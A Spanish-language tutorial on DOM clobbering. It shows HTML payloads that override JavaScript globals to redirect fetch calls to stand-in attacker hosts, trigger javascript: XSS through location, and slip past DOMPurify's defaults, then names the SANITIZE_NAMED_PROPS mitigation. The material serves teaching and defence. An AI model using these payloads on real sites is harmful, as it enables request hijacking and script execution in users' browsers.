DOM clobbering — override de variables globales JS para bypassear sanitizers

Respuesta rápida

DOM clobbering aprovecha que HTML elements con id o name se exponen automáticamente como propiedades de document y window. Si una app lee window.config.apiBase o document.foo.bar esperando un objeto JS, el atacante puede inyectar <form id="config"><input name="apiBase" value="https://evil.com"> y el access via property lookup retorna el HTMLElement como si fuera el objeto esperado. Permite bypass de sanitizers (DOMPurify default permite name/id atributos) y HTML-only injection que escala a JS execution.

El mecanismo base

HTML5 spec declara que para compatibilidad con código legacy, los elements con id o name se exponen en el global scope:

<div id="myVar"></div>

console.log(window.myVar);  // HTMLDivElement
console.log(myVar);          // Same, sin prefijo window

Si dos elements tienen el mismo id, JS devuelve una HTMLCollection:

<a id="link"></a>
<a id="link"></a>

window.link;  // HTMLCollection [a, a]

Y dentro de un <form>, los <input name="foo"> se exponen como propiedades del form:

<form id="config">
  <input name="apiBase" value="https://attacker.com">
</form>

window.config.apiBase;  // HTMLInputElement
window.config.apiBase.value;  // "https://attacker.com"

Cuando la app coercionа esto a string (concat, template literal, fetch), el browser llama toString() que devuelve el atributo value para <input> o el href para <a>.

Patrón vulnerable básico

// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
  fetch(window.config.apiBase + '/data');
}

Si el atacante puede inyectar solo HTML (no <script>), no necesitaría JS execution. Solo:

<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>

window.config resuelve a HTMLCollection con dos <a>. Property access .apiBase busca por name → segundo <a>. Coerce a string → href. Resultado: la app hace fetch('https://attacker.com//data') con las cookies del user.

Elements clobbeables — tabla de referencia

Anchor tag — el clobber más versátil

<a> permite que su toString() devuelva el href:

<a id="x" href="https://attacker.com"></a>

String(window.x);  // "https://attacker.com"
window.x + '';      // "https://attacker.com"
`${window.x}`;     // "https://attacker.com"

Cualquier sink que concatene o use template literal con window.x ahora redirige a attacker.com.

Variantes útiles

<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>

Si la app hace location = window.redirect, dispara XSS (el sink "blando" location acepta javascript:).

<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
  <input name="theme" value="dark">
  <input name="apiUrl" value="https://evil.com">
  <input name="onError" value="ATTACKER_FUNC">
</form>

Si la app lee window.settings.theme, .apiUrl, .onError → todos clobbered.

Sanitizer bypass — DOMPurify default config

DOMPurify por defecto permite atributos id y name porque son atributos legítimos de HTML (no son handlers ejecutables). Sin <script> o handlers, la sanitización no detecta nada peligroso. Pero los elements quedan vivos en el DOM y disponibles para clobber:

const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.

document.body.innerHTML = clean;

// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase;  // → javascript:alert(1)

Mitigación correcta

DOMPurify tiene configuración SANITIZE_DOM: true (default) y SANITIZE_NAMED_PROPS: true (no default hasta v3.x). Activar:

DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });

Esto prefixa los id/name con user-content- evitando que colisionen con globals. Pero la mayoría de apps NO activa este flag porque no lo conocen.